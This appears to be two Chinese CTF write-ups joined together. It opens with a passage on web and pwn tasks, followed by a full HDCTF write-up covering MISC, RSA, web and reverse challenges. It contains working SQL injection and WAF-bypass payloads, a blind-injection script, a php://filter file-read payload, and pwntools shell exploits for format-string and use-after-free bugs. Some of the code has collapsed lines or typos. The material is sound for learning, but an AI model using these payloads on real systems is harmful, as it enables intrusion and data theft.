* 如果正则匹配不为空，则将用户的输入直接传递到后台模板文件中；否则不执行
* 当然这里有对用户的输入进行一些过滤
而我们传入的 `1+1,python语句` 实际上是一个元组，传到后台模板中类似 `{{ (1+1,python语句) }}`
## 4.unfinished
题目如下
发现就一个登陆页面，于是尝试探测是否存在 **register.php** 注册页面。发现存在，立即注册登陆，并查看。
登陆的时候用到的是邮箱和密码，而注册的时候还有一个用户名，而这个用户名却在登陆后显示了，所以我们考虑用户名这里可能存在 **二次注入** 。
还有一个点就是，我们抓取注册账号的数据包，一直重放数据包会发现返回的状态码都是 **200** ，这里就有可能存在 **update注入**
，之后发现并没有更新用户信息，所以应该不存在 **update注入** 。那我们就针对用户名部分，进行二次注入测试。
注册成功，会得到 **302** 状态码并跳转至 **login.php** ；如果注册失败，只会返回 **200** 状态码。所以构造
**payload** 如下：
[email protected]&username=0'%2B(select hex(hex(database())))%2B'0&password=test
进行两次hex解码后得到数据库名为web：
>>> "373736353632".decode('hex').decode('hex')
'web'
至于为什么 **payload** 要进行两次 **hex** 加密，看下面这张图就明白了。
然后这里还要注意一个问题，就是当数据进过 **两次hex**
后，会得到较长的一串只含有数字的字符串，当这个长字符串转成数字型数据的时候会变成科学计数法，也就是说会丢失数据精度，如下：
所以这里我们使用 **substr** 每次取10个字符长度与 **'0'** 相加，这样就不会丢失数据。但是这里使用逗号 **,**
会出错，所以可以使用类似 **substr('test' from 1 for 10)** 这种写法来绕过，具体获取 **flag** 的代码如下：
0'%2B(select substr(hex(hex((select * from flag))) from 1 for 10))%2B'0
## 5.wafUpload
题目代码如下：
据说是 **pwnhub** 题目改的，不过没找到，直接来分析代码吧。上图代码 **第8-10行** 进行了 **MIME** 类型检测，
**第12-20行** 对文件后缀进行了检测，而后缀名则是取 **$file** 数组中最后一个元素。然后在生成文件的时候，文件路径又用 **$file**
数组第一个元素做文件名，数组最后一个下标对应的值作为后缀，这明显存在不一致可绕过的问题。我们只要控制 **$file** 数组中参数的顺序即可绕过并
**getshell** ，请求数据包如下：
PS：赛后得知题目出自这里： [phpjiami
数种解密方法](https://www.leavesongs.com/PENETRATION/unobfuscated-phpjiami.html#0x05-getshell)
## 6.sqlweb
题目：admin也拿不到flag喔(●'◡'●)
打开 **BurpSuite** **Fuzz** 发现提示信息，过滤了以下关键字：
**admin账号** 可以用弱密码登陆： **admin/admin123**
发现新提示，说只有 **wuyanzu** 用户才能拿到 **flag** 。至此，思路就很清晰了， **flag** 应该就是 **wuyanzu**
用户的密码，或者 **wuyanzu** 用户登陆后就能看到 **flag** ，所以这题就是考察绕过 **WAF** 进行 **SQL注入** 。
waf:/sleep|benchmark|=|like|regexp|and|\|%|substr|union|\s+|group|floor|user|extractvalue|UpdateXml|ord|lpad|rpad|left|>|,|ascii/i !!! (trust me,no one can bypass it)
仔细观察上面的 **WAF** ，过滤了空格，可以用 **/**/** 来绕过；过滤了 **and** ，可以用 **& &** 代替；过滤了
**substr** 、 **ascii** ，但是还可以用 **mid** 。而且SQL语句执行和不执行返回的长度是不一样的。所以我们构造
**payload** 如下：
wuyanzu'/**/%26%26/**/mid(passwd/**/from/**/1/**/for/**/1)/**/in/**/('f')/**/limit/**/1%23
编写获取flag的程序如下：
import requests
flag = ''
chars = "}{-0123456789abcdefghijklmnopqrstuvwxyz"
url = "http://902f59bfbb134985aeef8fb606e07c77373dedd3ef0e4bca.game.ichunqiu.com//sql.php"
for i in range(1,50):
for char in chars:
datas = {
"uname" : "wuyanzu'/**/&&/**/mid(passwd/**/from/**/" + str(i) +"/**/for/**/1)/**/in/**/('" + char + "')/**/limit/**/1#",
"passwd" : "rte",
"submit" : "login"
}
r = requests.post(url = url, data = datas)
if len(r.text) == 75:
flag += char
print("[-] " + flag,end="\r",flush=True)
if char == '}':
print("[+] " + flag)
exit()
## 7\. 套娃 Lsb 隐写，bgr 通道
## 8\. martricks
64 位 ida 打开 查找字符串
双击进入数据段
跟进代码段
查看伪代码
感觉可以 fuzz 代码如下 angr 爆破
即可获得 flag
## 9.Easyfmt
直接将用户输入作为 printf 的参数，导致格式化字符串漏洞
输入 aaaa 作为测试
经测试偏移为 6
思路如下:
1，利用格式化字符串漏洞，泄露 puts 函数地址，并计算 system 的地址，没有
给 libc，所以通过在线网站得到 puts 与 libc 的相对偏移 2，1，利用格式化字符串，将 system 地址写入 got 表中 printf
函数的地址 3，在次输入’/bin/sh’，得到 shell
Exp:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
#p = process('./pwn')
p = remote('106.75.126.184',58579)
elf = ELF('./pwn')
payload1 = p32(elf.got['puts'])+'%6$s' #gdb.attach(p,'b *0x080485ca') #raw_input('GGGG')
p.recv()
p.sendline(payload1)
p.recv(4)
puts = u32(p.recv(4))
log.info('puts : '+hex(puts))
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
system = puts - 0x05f140 + 0x03a940
printfGot = elf.got['printf']
payload = fmtstr_payload(6,{printfGot:system}) p.sendline(payload)
p.send('/bin/sh\0')
p.interactive()
## 10\. fgo
del_servant 函数 free chunk 后没有将指针置空，导致存在 uaf 或 double free
Add_servant 函数在我们生成 chunk 前会自己生成一个 size 为 0x10 的 chunk， 这个 chunk 存在一个如下的结构体
struct { *print_servant_content; *servantcontent;
}
print_servant_content
函数
程序中还存在一个函数，调用便可以直接拿到 shell
总体思路就是用 secret 函数地址覆盖结构体中的指针 print_servant_content。
步骤:
1，先申请三个 srvant，大小只要不是 0x10 就行
2，Delete 序号 0，delete 序号 1，此时的 fastbin 链表结构
Size 为 0x8 的就是结构体所在的 chunk
3，在申请一个 size 为 0x8 的 servant，content 内容为 secret 的地址，程序会
先将 0x8eaa050 这个 chunk 存储结构体，0x8eaa008 这个 chunk 作为内容， 但是 0x8eaa008 是序号 0 存储结构体的
chunk，secret 会覆盖掉它的 *print_servant_content，再次打印 chunk0，便会执行这个函数
4，脚本:
from pwn import *
p = process('./fgo')
#p = remote('106.75.104.139',26768) secret = 0x08048956
def add(size,content):
p.recvuntil('choice:\n') p.sendline('1')
p.recv() p.sendline(str(size)) p.recv() p.sendline(content)
def delete(index): p.recvuntil('choice:\n') p.sendline('2')
p.recv() p.sendline(str(index))
def show(index): p.recvuntil('choice:\n') p.sendline('3')
p.recv() p.sendline(str(index))
add(0x30,'chunk0')
add(0x30,'chunk1') add(0x30,'chunk2') delete(0)
delete(1) #gdb.attach(p) add(8,p32(secret)) show(0) p.interactive()
## 11.神奇二叉树
把 1-59 的字符根据 tmpflag 给的几个值挑出来，然后第三部有个红黑树的节点 删除操作，操作后会确定每个节点的颜色属性。然后第四部将红色的
ASCII +1， 黑色 ASCII-1 即可获得 flag。
## 12\. babyrsa Baby.py
#coding:utf-8
from pwn import *
from LibcSearcher import *
#p = process('./pwn')
p = remote('106.75.104.139',26768) elf = ELF('./pwn')
puts_got = elf.got['puts'] println = 0x0804862B
rr = lambda x : p.recvuntil(x) ss = lambda x : p.sendline(x) sd = lambda x : p.send(x)
def add(sz,ab): rr("Your choice:")
ss("1") rr("name :") ss(str(sz)) rr("ability :") ss(ab)
def delete(idx): rr("Your choice:")
ss("2") rr("Index :") ss(str(idx))
def show(idx): rr("Your choice:")
ss("3")
rr("Index :") ss(str(idx))
return rr("--------")
add(24,24*'a') add(24,24*'a') delete(0) delete(1)
add(8,p32(println) + p32(puts_got)) leak = show(0)[:0x4].ljust(4,'\x00') leak = u32(leak)
obj = LibcSearcher('puts',leak) libc_base = leak - obj.dump('puts')
system = obj.dump("system") + libc_base
delete(2) add(8,p32(system) + "/;sh")
#show(0)
#rr("token") #p.sendline("icq3dde2e8d01777e376b01436482dfc")
p.interactive() ## manually ## show(0)
Brsa.py
from pwn import *
from LibcSearcher import LibcSearcher
# context(log_level ='debug')
# r = remote('127.0.0.1',9999)
r =remote('106.75.126.184',58579)
# r=process('pwn')
elf = ELF('pwn')
libc_start_get = elf.get['puts']
print r.recv() r.send(p32(libc_start_get)+'#'+'%6$s'+'#') # raw_input()
r.recvuntil('#')
puts_addr = u32(r.recvuntil('#')[:4])
libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts') print 'Libc base addr:' + hex(libc_base)
printf_get = elf.get['printf']
system_off = libc.dump('system')
system = libc_base +system_off
print 'system addr: ',hex(system) r.sendline(fmtstr_payload(6,{printf_get:system})) r.recv()
r.interactive()
## 13\. hvm
Hvm.py #!/usr/bin/env python
from pwn import *
def hvm():
io.recvuntil('hello\n')
# gdb.attach(io)
payload =
'/bin/sh\x00'+flat(0x0f,0x38000000,4,0,0x0d,0x1a,0,1,0x3b000000,0xe,word_size=32,endianness ='little')
payload = payload.ljust(0x30,'\x00')+flat(0x400,-0x411,word_size=32,endianness='big') io.sendline(payload)
io.interactive()
if __name__ == '__main__':
context(arch='amd64', kernel='amd64', os='linux') HOST, PORT = '0.0.0.0', 9999
# libc = ELF('./libc.so.6')
if len(sys.argv) > 1 and sys.argv[1] == 'l':
io = process('./hvm')
context.log_level = 'debug' else:
io = remote(HOST, PORT)
context.log_level = 'debug' hvm() | 社区文章 |
# 第一届HDCTF Write up
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
有幸参与海南大学组织举办的第一届HDCTF，听说难度中等偏易，刚刚入手CTF的我认为这是一次很好的练习以及学习机会。便兴冲冲的参与啦！
## MISC
首先，自认为misc是最容易的（相对web、rev、pwn来说，也不把今年的国赛MISC考虑在内。。。）便先拿MISC开刀（签到题就不说了23333）
### 循环冗余码了解一下 100
题目描述：xx 同学用他的 QQ 号加密了压缩包，你能成功破解出并找到数据包中的秘密吗？
下载文件得到两个加密压缩包：enc.rar与qq.rar
循环冗余码，CRC32，然后题目说密码是QQ号，
从包里可以看到是8位QQ号，很自然的可以想到是CRC碰撞了，虽然超过6个字节的内容CRC碰撞就不合适了，不过已经知道内容是八位数字，那就很容易写脚本碰撞了，以下是py2脚本
import binascii
for a in range(10):
for b in range(10):
for c in range(10):
for d in range(10):
for e in range(10):
for f in range(10):
for g in range(10):
for h in range(10):
txt= str(a)+str(b)+str(c)+str(d)+str(e)+str(f)+str(g)+str(h)
crc = binascii.crc32(txt)
if ((crc & 0xFFFFFFFF)==0xE82D0FCC):
print txt
运行得到：
输入密码拿到一份流量包，流量包分析，wireshark打开，追踪TCP流，一条一条查看过去
拿到一条被加密的flag：
V20xNGFGb3pkR2hOUkdoc1RUSk5lazFFVlRCTk1scG9XbFJGZDAxSFdtMU9WMDB5V2xSTk5WcEVTWGxhUkVFeldrZ3dQUT09
虽然末尾没有等于号那么明显的标志，但base64应该八九不离十，最后通过三次base64解密后get flag：
flag{a08e3c30543fae100ff5c6e39d22d07d}
#### 总结：
考点：压缩包解密之CRC碰撞；流量包分析；base64。
总的来说这一题不算太难，还是偏新手向的，稍微会一点点python，然后搜索一下python中关于crc的方法便能轻易构造脚本。流量包分析也是套路追踪TCP流，至于最后base64显然不难猜。
### 信号分析 150
题目描述：xx同学使用 hackcube 截获到了一段停车杆的遥控信息，你能还原这个原始信号吗？flag格式：flag{md5(得到的信号格式)}
提示：
hint1：参考：[https://unicorn.360.com/hackcube/forum.php?mod=viewthread&tid=13&extra=page%3D1](https://unicorn.360.com/hackcube/forum.php?mod=viewthread&tid=13&extra=page%3D1)
hint2：试试波形分析吧！ Audacity
下载得到一个.wav文件，拖进 Audacity观察，
在波形（dB）（W）下可以看到如此波形，由于没接触过遥控信息，进入所给参考资料，
根据
即可知道题目所给文件中的波形的含义为：FFFFFFFF0001
再根据flag格式，get flag：flag{a2720cc18b1410daaf83555eb262387a}
#### 总结：
在给了参考资料，以及hint2的情况下，本题难度大大降低，主题人可能想通过本题让答题人了解接触遥控信号这一块吧？
### 你能发现什么蛛丝马迹吗 200
题目描述：xx 同学在某处得到了一个神秘的镜像文件，你能帮他发现一些神秘的信息吗？
提示：1. Volatility 2. 关键词 flag
下载得到一份镜像文件，用kali下的Volatility进行分析，
首先查看文件的profile值
指令：volatility -f memory.img imageinfo
猜测profile值为Win2003SP1x86
然后查看一下进程
指令：volatility -f memory.img —profile=Win2003SP1x86 pslist
发现一个及其显眼的最近程序的DumpIt.exe，感觉有点蹊跷，
然后试着提取内存中保留的 cmd 命令使用情况
指令：volatility -f memory.img —profile=Win2003SP1x86 cmdscan
看见Flags字样，根据提示，这个程序一定有点问题，找到他的PPID把他dump下来
指令：volatility -f memory.img —profile=Win2003SP1x86 memdump -p1992 -D /root
得到1992.dmp文件，然后用foremost提取里面的文件
指令：foremost 1992.dmp -T
分离出来很多文件，在其中的png文件夹中发现四张图像（重复了其实）二维码扫出来内容是：
jfXvUoypb8p3zvmPks8kJ5Kt0vmEw0xUZyRGOicraY4=
第一眼以为是base64，随即试了一下，解出来是乱码，然后根据上图的key以及iv，应该是AES加密，找到一个在线解AES的网址：<http://tool.chacuo.net/cryptaes>
昂吭，get flag！flag{F0uNd_s0m3th1ng_1n_M3mory}
#### 总结：
这一题考的是内存取证，主要是对volatility工具的使用吧，然后是一个AES的ECB解密，
下面总结整理一下对volatility工具的使用方法
第一步肯定是需要查看文件的profile值：volatility -f memory.img imageinfo
然后就可以有很多操作了，比如列举进程：volatility -f memory.img —profile=Win2003SP1x86 pslist
cmd 命令使用情况：volatility -f memory.img —profile=Win2003SP1x86cmdscan
列举缓存在内存的注册表 ：volatility -f memory.img —profile=Win2003SP1x86 hivelist
打印出注册表中的数据 ：volatility -f memory.img —profile=Win2003SP1x86 -o 注册表的 virtual 地址
将内存中的某个进程数据以 dmp 的格式保存出来 ：volatility -f memory.img —profile=Win2003SP1x86
memdump -p 进程的PPID值 -D 保存文件的地址
获取到当时的网络连接情况：volatility -f memory.img —profile=Win2003SP1x86 netscan
获取内存中的系统密码：volatility -f memory.img —profile=Win2003SP1x86 hashdump -y （注册表
system 的 virtual 地址 ）-s （SAM 的 virtual 地址） #这在H-GAME的week4中的warm up有用到
除了这些常用到的功能以外，volatility工具还有更多的功能，这里就不在再一一列举了，具体可以使用指令：volatility -h 查看
（这其实是打HGAME整理的，主要参考[https://www.jianshu.com/p/6438bc3302c8）](https://www.jianshu.com/p/6438bc3302c8%EF%BC%89)
## CRYPTO
哇，中等偏易的HDCTF的密码学全是RSA，硬核啊，不过倒也是RSA里面偏简单的，可以接受，因为之前HGAME也遇到RSA了，所以留下的脚本，刚好对付这里的RSA了。
### basic rsa 50
题目描述：这可能是最最最最简单的 rsa 了
密文：27565231154623519221597938803435789010285480123476977081867877272451638645710
下载得到一份py2代码
import gmpy2
from Crypto.Util.number import *
from binascii import a2b_hex,b2a_hex
flag = "*****************"
p = 262248800182277040650192055439906580479
q = 262854994239322828547925595487519915551
e = 65533
n = p*q
c = pow(int(b2a_hex(flag),16),e,n)
print c
呃，啥都知道了，上脚本解呗
import gmpy2
from libnum import n2s,s2n
c = gmpy2.mpz(9544552122426002996962843810441848397036784063191487784065817764908998519819)
p = gmpy2.mpz(262248800182277040650192055439906580479)
q = gmpy2.mpz(262854994239322828547925595487519915551)
e = gmpy2.mpz(65533)
phi_n = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi_n) #自认为gmpy2的神级功能之一；
m = pow(c,d,p*q)
print "plaintext:"
print hex(m)[2:].decode('hex')
get flag：flag{B4by_Rs4}
### bbbbbbrsa 100
题目描述：babyrsa，还是一道 RSA 的题目~
下载得到一份py2代码：
from base64 import b64encode as b32encode
from gmpy2 import invert,gcd,iroot
from Crypto.Util.number import *
from binascii import a2b_hex,b2a_hex
import random
flag = "******************************"
nbit = 128
p = getPrime(nbit)
q = getPrime(nbit)
n = p*q
print p
print n
phi = (p-1)*(q-1)
e = random.randint(50000,70000)
while True:
if gcd(e,phi) == 1:
break;
else:
e -= 1;
c = pow(int(b2a_hex(flag),16),e,n)
print b32encode(str(c))[::-1]
和一份enc文件
p = 177077389675257695042507998165006460849
n = 37421829509887796274897162249367329400988647145613325367337968063341372726061
c = ==gMzYDNzIjMxUTNyIzNzIjMyYTM4MDM0gTMwEjNzgTM2UTN4cjNwIjN2QzM5ADMwIDNyMTO4UzM2cTM5kDN2MTOyUTO5YDM0czM3MjM
呃，小tricks，将c逆序后base64解密得到十进制c：
import base64
c='==gMzYDNzIjMxUTNyIzNzIjMyYTM4MDM0gTMwEjNzgTM2UTN4cjNwIjN2QzM5ADMwIDNyMTO4UzM2cTM5kDN2MTOyUTO5YDM0czM3MjM'
print(base64.b64decode(c[::-1]))
>>>b'2373740699529364991763589324200093466206785561836101840381622237225512234632'
然后，继续看这题的代码，这个e真是有点东西啊，取随机数然后再自减至与欧拉函数互质？这，我能想到的只能是爆破了23333，构造脚本：
import random
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
return 404 #因为20000个数中不是每个e都能求出d，所以这里对求d报错时进行了简单处理
else:
return x % m
fw=open("plaintext.txt","w")
p = 177077389675257695042507998165006460849
q = 211330365658290458913359957704294614589
n = 37421829509887796274897162249367329400988647145613325367337968063341372726061
c = 2373740699529364991763589324200093466206785561836101840381622237225512234632
phi=(p-1)*(q-1)
for e in range(50000,70000):
d=modinv(int(e),(p-1)*(q-1))
if(d==404):
continue
else:
fw.writelines(hex(int(pow(c,d,p*q))))
fw.writelines("n")
运行结束后得到文本，然后再记事本中ctrl-F搜索666C6167（flag的十六进制形式），得到：
在十六进制转换过去得到flag：flag{rs4_1s_s1mpl3!#}
### together 200together 200
题目描述：又是一道 RSA
这一题有四个文件，分别是myflag1，myflag2，pubkey1.pem，pubkey2.pem
打开myflag1，myflag2
base64解码成16进制后得到两份数据
分别是数据1：0x477368cbaaf758b22dcad0266f81661c4ca0a2296e7041196cef59617c7924dd371cda412c3c7b7d77767e5f942f9fb5d510acff2d2a953194456583b46eba78d2f31b036900a8958fa23b46d5099763dc9b736f15e005c08f54b15444ca1ef3215eac23d64ff25ff61950e8acb033e542d6f9fd0e20d1a1266666f052ff6839e57d3125850f3b2cf89c5a95d8a0cb72afa5abc632ba3a7b67f01a82b7412343b4de5d9871207f554cf5a30e615d98ea9aa9d5484fe2d97a64e02cd112c0ce679f88394b76850c5c23d58883625d3ffbc7adbca7ceadfa0a3b04740b1b111da830754513112f047072e63060b10a40d99f74b39a603a35bde580b792806f0fd4
数据2：0x3bead109723769307a3f5ad820e3d475a954a7aba3a7012ae08db40a8580f8720bf31c46b6a63a379829af482e66ff5980e1003059c1c4ea8c75536707d1a09e1997b6dd595b274fa88707be57f0a5dfcbc9dd174a35e78dacf73f7bce42f47bd5c0ffb97c810345cfce69d320c80486e1895459bc9a29f42ffdaa23bc20fd9ef0d7ee263a68bae792485de0a21b6dee903bfa97d6d9baa7c6bd609ad4a2975833f7d672dba7464dda86d4b3a8c401ad6a553697e8ce0ccbeb24b3ed15bc7013ac052e0ab98cc15122bea209fe74baca619511137a3a19f3cabd7af249c404a3958f41403b1dd82dfa6930cf976ce1877aa74a2512e932fa855c33064089d3df
然后再看两份.pem文件，这个需要用到kali里的openssl工具，
分别输入指令：
openssl rsa -pubin -text -modulus -in warmup -in pubkey1.pem
openssl rsa -pubin -text -modulus -in warmup -in pubkey2.pem
获得
e1:0x91d
e2:0x5b25
N1:75A8B8AA2AD2950E9AED4BE34618DFBEABB8CBA832685CC94F45173330100624846CCF90F3C2DB75BA5AF4B39CAEF1175AB9F898794EAC6082A4F766F7CB280B16F6980B38DDA811761324D619513B3CBE65877ACF51FC70405A8347C121207E71F8E6FCAE39647ED2231D306DD53849257BC306E997A502867012249D1691F5DC11D6AF06539F3F808939343DDE09301A761AE12C1C969076C502BC5A971E10ABCB366547BC94373F37A57DDC43858DB29BAAAAAD0E6867885EA3757403008C164E9C7AFA39B3C65089A151DDD8C06C64271086F9255ADB8ACF82182F8FA252930A187961635BC2A85C761330F85C896314B3FDAE4EFEF7E0A8C93B8854BFC3
N2:75A8B8AA2AD2950E9AED4BE34618DFBEABB8CBA832685CC94F45173330100624846CCF90F3C2DB75BA5AF4B39CAEF1175AB9F898794EAC6082A4F766F7CB280B16F6980B38DDA811761324D619513B3CBE65877ACF51FC70405A8347C121207E71F8E6FCAE39647ED2231D306DD53849257BC306E997A502867012249D1691F5DC11D6AF06539F3F808939343DDE09301A761AE12C1C969076C502BC5A971E10ABCB366547BC94373F37A57DDC43858DB29BAAAAAD0E6867885EA3757403008C164E9C7AFA39B3C65089A151DDD8C06C64271086F9255ADB8ACF82182F8FA252930A187961635BC2A85C761330F85C896314B3FDAE4EFEF7E0A8C93B8854BFC3
连个N一样的？同样的N，不同的e，那么是RSA的共模攻击没错了，那么之前获得的应该是两个密文了，构造共模攻击的脚本：
from gmpy2 import iroot,invert
n = 0x75a8b8aa2ad2950e9aed4be34618dfbeabb8cba832685cc94f45173330100624846ccf90f3c2db75ba5af4b39caef1175ab9f898794eac6082a4f766f7cb280b16f6980b38dda811761324d619513b3cbe65877acf51fc70405a8347c121207e71f8e6fcae39647ed2231d306dd53849257bc306e997a502867012249d1691f5dc11d6af06539f3f808939343dde09301a761ae12c1c969076c502bc5a971e10abcb366547bc94373f37a57ddc43858db29baaaaad0e6867885ea3757403008c164e9c7afa39b3c65089a151ddd8c06c64271086f9255adb8acf82182f8fa252930a187961635bc2a85c761330f85c896314b3fdae4efef7e0a8c93b8854bfc3
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
c1 = 0x477368cbaaf758b22dcad0266f81661c4ca0a2296e7041196cef59617c7924dd371cda412c3c7b7d77767e5f942f9fb5d510acff2d2a953194456583b46eba78d2f31b036900a8958fa23b46d5099763dc9b736f15e005c08f54b15444ca1ef3215eac23d64ff25ff61950e8acb033e542d6f9fd0e20d1a1266666f052ff6839e57d3125850f3b2cf89c5a95d8a0cb72afa5abc632ba3a7b67f01a82b7412343b4de5d9871207f554cf5a30e615d98ea9aa9d5484fe2d97a64e02cd112c0ce679f88394b76850c5c23d58883625d3ffbc7adbca7ceadfa0a3b04740b1b111da830754513112f047072e63060b10a40d99f74b39a603a35bde580b792806f0fd4
c2 = 0x3bead109723769307a3f5ad820e3d475a954a7aba3a7012ae08db40a8580f8720bf31c46b6a63a379829af482e66ff5980e1003059c1c4ea8c75536707d1a09e1997b6dd595b274fa88707be57f0a5dfcbc9dd174a35e78dacf73f7bce42f47bd5c0ffb97c810345cfce69d320c80486e1895459bc9a29f42ffdaa23bc20fd9ef0d7ee263a68bae792485de0a21b6dee903bfa97d6d9baa7c6bd609ad4a2975833f7d672dba7464dda86d4b3a8c401ad6a553697e8ce0ccbeb24b3ed15bc7013ac052e0ab98cc15122bea209fe74baca619511137a3a19f3cabd7af249c404a3958f41403b1dd82dfa6930cf976ce1877aa74a2512e932fa855c33064089d3df
e1 = 2333
e2 = 23333
s = egcd(e1,e2)
s1 = s[1]
s2 = s[2]
if s1<0:
s1 = - s1
c1 = invert(c1, n)
elif s2<0:
s2 = - s2
c2 = invert(c2, n)
m = pow(c1, s1, n) * pow(c2, s2, n) % n
print hex(m)[2:].decode('hex')
运行得到：
get flag：flag{23re_SDxF_y78hu_5rFgS}
（脚本构造参考V爷爷博客：
[https://veritas501.space/2017/03/01/%E5%AF%86%E7%A0%81%E5%AD%A6%E7%AC%94%E8%AE%B0/#more）](https://veritas501.space/2017/03/01/%E5%AF%86%E7%A0%81%E5%AD%A6%E7%AC%94%E8%AE%B0/#more%EF%BC%89)
#### 总结：
这次比赛的密码学，相比于出脑洞古典密码，直接三道RSA还是比较硬核了，做了这三道题，又再一次温习了RSA的加密原理以及脚本构造，还是有所收获的。
## WEB
### 欢迎来到HDCTF 50
题目描述：签到题
呃，签到题，那f12一下咯？
没什么端倪，那就按照描述改0.html为1.html吧
呃，将段落一级一级展开最终get flag：flag{welcome_t0_HDctf}
测试你与flag的缘分 100
题目描述：常规编码啦
进入页面
呃，对不对不敢保证，，，，呃，还是点进去吧，
得到一份jsfuck编码的文件，这个Google自带解码功能，f12后，放进控制台跑就好，得到
十六进制转字符串后得到
=E5=93=88=E5=93=88=E5=93=88=E5=93=88,=E4=BD=A0=E8=A2=AB=E9=AA=97=E4=BA=86,=
=E4=B8=8D=E6=98=AF=E8=BF=99=E4=B8=AA,=E5=B0=B1=E9=97=AE=E4=BD=A0=E8=A7=A3=
=E4=BA=86=E5=8D=8A=E5=A4=A9=E6=B0=94=E4=B8=8D=E6=B0=94
呃？是这啥？随便复制一段百度搜索，知道是QUOTED-PRINTABLE编码，找到在线解密网址解密得到：
wtf？啥玩意儿，这么整的嘛？回到最初页面，f12大法！发现
（此处暴打出题人）
将图中十六进制转为字符串，然后两次base64解码得到flag
HDCTF{Jsfuck_1s_l0vely!}
这是web题吗？最后才发现网页标题已经说了，
ok fine…
### 简单的代码审计 200
这一题有点意思。。
进入页面，啥也没有，老样子，f12大法，
发现hint：file=once.php
于是在网址栏键入?file=once.php
进入页面
这，难道要爆破？不对劲，结合题目：代码审计，这题应该有代码才对，在看看hint，发现是file=once.php，这个file，那么源代码中应该存在文件包含函数，也就想到php伪协议中的任意文件读取，于是键入：
http://149.28.22.177:10003/?file=php://filter/read=convert.base64-encode/resource=once.php
得到网页经base64编码后的源码，base64解码后再处理一下格式，得到：
< html > < head > < meta http - equiv = "content-type"
content = "text/html; charset=GBK" > < title > Once More < /title> </head > < body > < br > < center > < p > You password must be alphanumeric < /p><br> <form method="get"> <input type="text" name="password" placeholder="Password"><br><br> <input type="submit" value="Check"> </form > < hr > < br > < /body></html >
<? php error_reporting(0);
include_once('./flag/flag0.php');
if (isset($_GET['password'])) {
if (ereg("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) {
echo '<p>You password must be alphanumeric</p>';
} else if (strlen($_GET['password']) < 8 && $_GET['password'] > 999999999) {
if (strpos($_GET['password'], '*-*') !== FALSE) {
die('Flag: '.$flag);
} else {
echo('<p>*-* have not been found</p>');
}
} else {
echo '<p>Invalid password</p>';
}
} ?>
果然是审计代码，一步步来，首先输入密码，密码需满足条件：
1，有字母或者数字组成；
2，密码长度小于8，却要比999999999大；
3，密码需要蕴含 _–_ 。
矛盾点1：密码长度小于8，要比9个9大，这里可以用科学计数法绕过，比九个九大的最小值就是十亿，即1e9。
矛盾点2：密码只能由字母或者数字组成，却要包含符号： _–_ ，这里了解到php的ereg函数存在截断漏洞，可以用%00来截断参数，绕过验证
故密码为：1e9%00 _–_
输入密码后，仍然错误：
我们注意到我们的密码被改为了1e9%2500 _–_
因为浏览器在处理时会自动将我们传的参数url解码一次
那么直接在URL上操作，
最后payload：
http://149.28.22.177:10003/once.php?password=1e9%00*-*
get flag：HDCTF{Is_V3ry_1nteresting!}
#### 总结：
这道题考的知识点还是蛮多的。1：通过文件包含漏洞利用php伪协议中的任意文件读取；2：php的ereg函数的截断漏洞利用；3：浏览器会自动进行一次url解码（实验吧的PHP大法一题了解一下。。）4：科学计数法。
可能刚接触CTF没了解太多的新手真的会把这题当做密码爆破来做吧。
### sql注入 300
进入页面，是个登录界面，吸取第二题教训，直接f12，果然有点东西。
试试hash？
点击用户登录，呃，看来这里有脑洞了。是4位数字吗？一个反问。那就不是了，结合hint：试试hash，那么密码可能是一个四位数字的hash值吧，可是hash加密第一堆堆啊，猜最常见的md5吧，不对就再换好了，反正应该是离不开爆破了。用因为burpsuit里的process刚好有hash爆破，就用它爆破了，最后爆破出结果，发现密码是2019的md5值，
输入密码后进入：
首先测试，发现空格（可用/**/代替），等号（”where = “语句为非法）被过滤，但是union 和 select没有被过滤。那么这题这么解。
首先匹配字段，发现到3没有报错
'/**/union/**/select/**/1,2,3#
了解到由于Mysql 5 以上有内置库 information_schema，存储着mysql的所有数据库和表结构信息，所以，
同时爆库名和表名
'/**/union/**/select/**/1,TABLE_NAME,TABLE_SCHEMA/**/from/**/information_schema.TABLES#
这里我是这么理解sql语句的，由于不能使用等号，所以不能“where =
”语句一层一层查下来。所以利用information_schema，直接爆库中包含的所有表的表名，顺带爆出表所属的库，以为之后爆字段的时候用。（因为发现如果最后爆字段的时候不带上列所属的表及其所属库，他会自动引用其中sousou这个库，这并不是我们想要的）那为什么这样写可以呢，从information_schema.TABLES中缺能爆出库的信息？显然这是符合逻辑的，因可以理解列、表、库为从属关系，知道最末端的列，那么顺藤摸瓜般便可以知道其所属表，以及库；而只是知道最上层的库，显然不能得出一个具体的表。
同理然后爆出列名和表名（用来一一对应）
'/**/union/**/select/**/1,COLUMN_NAME,TABLE_NAME/**/from/**/information_schema.COLUMNS#
最后爆字段内容，即为flag
'/**/union/**/select/**/1,fffflllag__23333,3/**/from/**/ctf.flag#
get flag： flag{wasaix_hndxctf2019}
如果这里不写ctf.flag，而只是写flag，便会报错：
他默认引用了库sousou，然而表flag在库ctf中，所以会报错。
#### 总结：
这一道sql除了考了常规的手工sql注入中union语句以外，还外加了一点点脑洞和密码的爆破，并没有特别难。但是sql这类题型在CTF赛事上几乎从不缺席。所以WEB方向的选手在sql这里是需要多下点功夫，去理解，去深入。
## REVERSE
没有认真学习汇编，甚至连动态调试都还不会的我，水了水本次比赛比较简单地两道逆向题，一道考简单算法，一道是pyc，刚好避开了我不会的东西，唔。。。
### 就是算法逆向 100
下载得到elf文件easyAlgorithm
放入IDA，进入main函数，F5来一下。
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax@12
__int64 v4; // rdi@12
int v5; // [sp+Ch] [bp-B4h]@1
signed int i; // [sp+10h] [bp-B0h]@1
signed int j; // [sp+14h] [bp-ACh]@4
int v8; // [sp+20h] [bp-A0h]@1
int v9; // [sp+24h] [bp-9Ch]@1
int v10; // [sp+28h] [bp-98h]@1
int v11; // [sp+2Ch] [bp-94h]@1
